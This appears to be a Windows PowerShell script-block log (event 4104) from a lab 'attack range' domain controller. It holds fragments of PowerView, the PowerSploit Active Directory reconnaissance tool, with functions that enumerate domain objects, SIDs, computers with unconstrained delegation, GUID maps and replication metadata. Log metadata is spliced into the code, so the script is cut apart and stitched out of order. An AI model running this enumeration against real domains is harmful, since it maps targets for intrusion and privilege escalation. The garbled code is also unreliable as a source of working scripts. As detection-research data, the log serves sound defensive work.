[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$SubnetSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($SubnetSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$SubnetSearcher = Get-DomainSearcher @SearcherArguments
if (-not $SubnetSearcher) {
Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)"
Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() }
else { $Results = $SubnetSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Subnet = $_
}
else {
$Subnet = Convert-LDAPProperty -Properties $_.Properties
}
$Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet')
if ($PSBoundParameters['SiteName']) {
# have to do the filtering after the LDAP query as LDAP doesn't let you specify
# wildcards for 'siteobject' :(
if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) {
$Subnet
}
elseif ($Subnet.siteobject -like "*$SiteName*") {
$Subnet
}
}
else {
$Subnet
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_"
}
}
$SubnetSearcher.dispose()
}
}
}
function Get-DomainSID {
<#
.SYNOPSIS
Returns the SID for the current domain or the specified domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer
.DESCRIPTION
Returns the SID for the current domain or the specified domain by executing
Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192)
to search for domain controllers through LDAP. The SID of the returned domain controller
is then extracted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainSID
.EXAMPLE
Get-DomainSID -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainSID -Credential $Cred
.OUTPUTS
String
A string representing the specified domain SID.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$SearcherArguments = @{
'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid
if ($DCSID) {
$DCSID.SubString(0, $DCSID.LastIndexOf('-'))
}
else {
Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'"
}
}
function Get-DomainGroup {
<#
.SYNOPSIS
Return all groups or specific group objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all group objects for
the current domain are returned. To return the groups a specific user/group is
a part of, use -MemberIdentity X to execute token groups enumeration.
.PARAMETER Identity
A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
specifying the group to query for. Wildcards accepted.
.PARAMETER MemberIdentity
A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
specifying the user/group member to query for group membership.
.PARAMETER AdminCount
Switch. Return users with '(adminCount=1)' (meaning are/weree66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122614Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local1344ter = "(&(samAccountType=805306369)$Filter)"
Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() }
else { $Results = $CompSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Up = $True
if ($PSBoundParameters['Ping']) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
}
if ($Up) {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Computer = $_
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw')
}
else {
$Computer = Convert-LDAPProperty -Properties $_.Properties
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer')
}
$Computer
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_"
}
}
$CompSearcher.dispose()
}
}
}
function Get-DomainObject {
<#
.SYNOPSIS
Return all (or specified) domain objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainObject -Domain testlab.local
Return all objects for the testlab.local domain
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname
distinguishedname
-----------------
CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local
CN=dfm,CN=Users,DC=testlab,DC=local
OU=OU3,DC=testlab,DC=local
CN=dfm (admin),CN=Users,DC=testlab,DC=local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainObject -Credential $Cred -Identity 'windows1'
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
distinguishedname
-----------------
CN=harmj0y,CN=Users,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins)))
CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
.OUTPUTS
PowerView.ADObject
Custom PSObject with translated AD object property fields.
PowerView.ADObject.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.ADObject')]
[OutputType('PowerView.ADObject.Raw')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($ObjectSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
if (-not $ObjectSearcher) {
Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
$ObjectName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$ObjectName)"
$SearcherArguments['Domain'] = $ObjectDomain
Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'"
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
if ($Filter -and $Filter -ne '') {
$ObjectSearcher.filter = "(&$Filter)"
}
Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() }
else { $Results = $ObjectSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Object = $_
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
}
else {
$Object = Convert-LDAPProperty -Properties $_.Properties
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
}
$Object
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_"
}
}
$ObjectSearcher.dispose()
}
}
}
function Get-DomainObjectAttributeHistory {
<#
.SYNOPSIS
Returns the Active Directory attribute replication metadata for the specified
object, i.e. a parsed version of the msds-replattributemetadata attribute.
By default, replication data for every domain object is returned.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'.
This is the domain attribute replication metadata associated with the object. The results are
parsed from their XML string form and returned as a custom object.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Only return replication metadata on the specified property names.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainObjectAttributeHistory -Domain testlab.local
Return all attribute replication metadata for all objects in the testlab.local domain.
.EXAMPLE
'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft
ObjectDN ObjectGuid AttributeNam LastOriginat Version LastOriginat
e ingChange ingDsaDN
-------- ---------- ------------ ------------ ------- ------------
CN=dfm.a,C... a6263874-f... objectClass 2017-03-0... 1 CN=NTDS S...
CN=DA,CN=U... 77b56df4-f... objectClass 2017-04-1... 1 CN=NTDS S...
CN=harmj0y... 94299db1-e... objectClass 2017-03-0... 1 CN=NTDS S...
.EXAMPLE
Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl
ObjectDN : CN=harmj0y,CN=Users,DC=testlab,DC=local
ObjectGuid : 94299db1-e3e7-48f9-845b-3bffef8bedbb
AttributeName : userAccountControl
LastOriginatingChange : 2017-03-07T19:56:27Z
Version : 4
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
.OUTPUTS
PowerView.ADObjectAttributeHistory
Custom PSObject with translated replication metadata fields.
.LINK
https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to-track-security-descriptor-modifications/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.ADObjectAttributeHistory')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName'e66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1
4104132150x0122613Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local1244 ProcessId = $Properties[10].Value
ProcessName = $Properties[11].Value
IpAddress = $Properties[12].Value
IpPort = $Properties[13].Value
}
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent')
$Output
}
}
default {
Write-Warning "No handler exists for event ID: $($Event.Id)"
}
}
}
}
}
}
function Get-DomainGUIDMap {
<#
.SYNOPSIS
Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-Forest
.DESCRIPTION
Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for
all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names.
Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local)
for objects where objectClass=controlAccessRight, translating the GUIDs again.
Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.OUTPUTS
Hashtable
Ouputs a hashtable containing a GUID -> Readable Name mapping.
.LINK
http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param (
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
$ForestArguments = @{}
if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential }
try {
$SchemaPath = (Get-Forest @ForestArguments).schema.name
}
catch {
throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest'
}
if (-not $SchemaPath) {
throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest'
}
$SearcherArguments = @{
'SearchBase' = $SchemaPath
'LDAPFilter' = '(schemaIDGUID=*)'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$SchemaSearcher = Get-DomainSearcher @SearcherArguments
if ($SchemaSearcher) {
try {
$Results = $SchemaSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"
}
}
$SchemaSearcher.dispose()
}
catch {
Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
}
}
$SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights')
$SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)'
$RightsSearcher = Get-DomainSearcher @SearcherArguments
if ($RightsSearcher) {
try {
$Results = $RightsSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0]
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"
}
}
$RightsSearcher.dispose()
}
catch {
Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
}
}
$GUIDs
}
function Get-DomainComputer {
<#
.SYNOPSIS
Return all computers or specific computer objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all computer objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER Unconstrained
Switch. Return computer objects that have unconstrained delegation.
.PARAMETER TrustedToAuth
Switch. Return computer objects that are trusted to authenticate for other principals.
.PARAMETER Printers
Switch. Return only printers.
.PARAMETER SPN
Return computers with a specific service principal name, wildcards accepted.
.PARAMETER OperatingSystem
Return computers with a specific operating system, wildcards accepted.
.PARAMETER ServicePack
Return computers with a specific service pack, wildcards accepted.
.PARAMETER SiteName
Return computers in the specific AD Site name, wildcards accepted.
.PARAMETER Ping
Switch. Ping each host to ensure it's up before enumerating.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
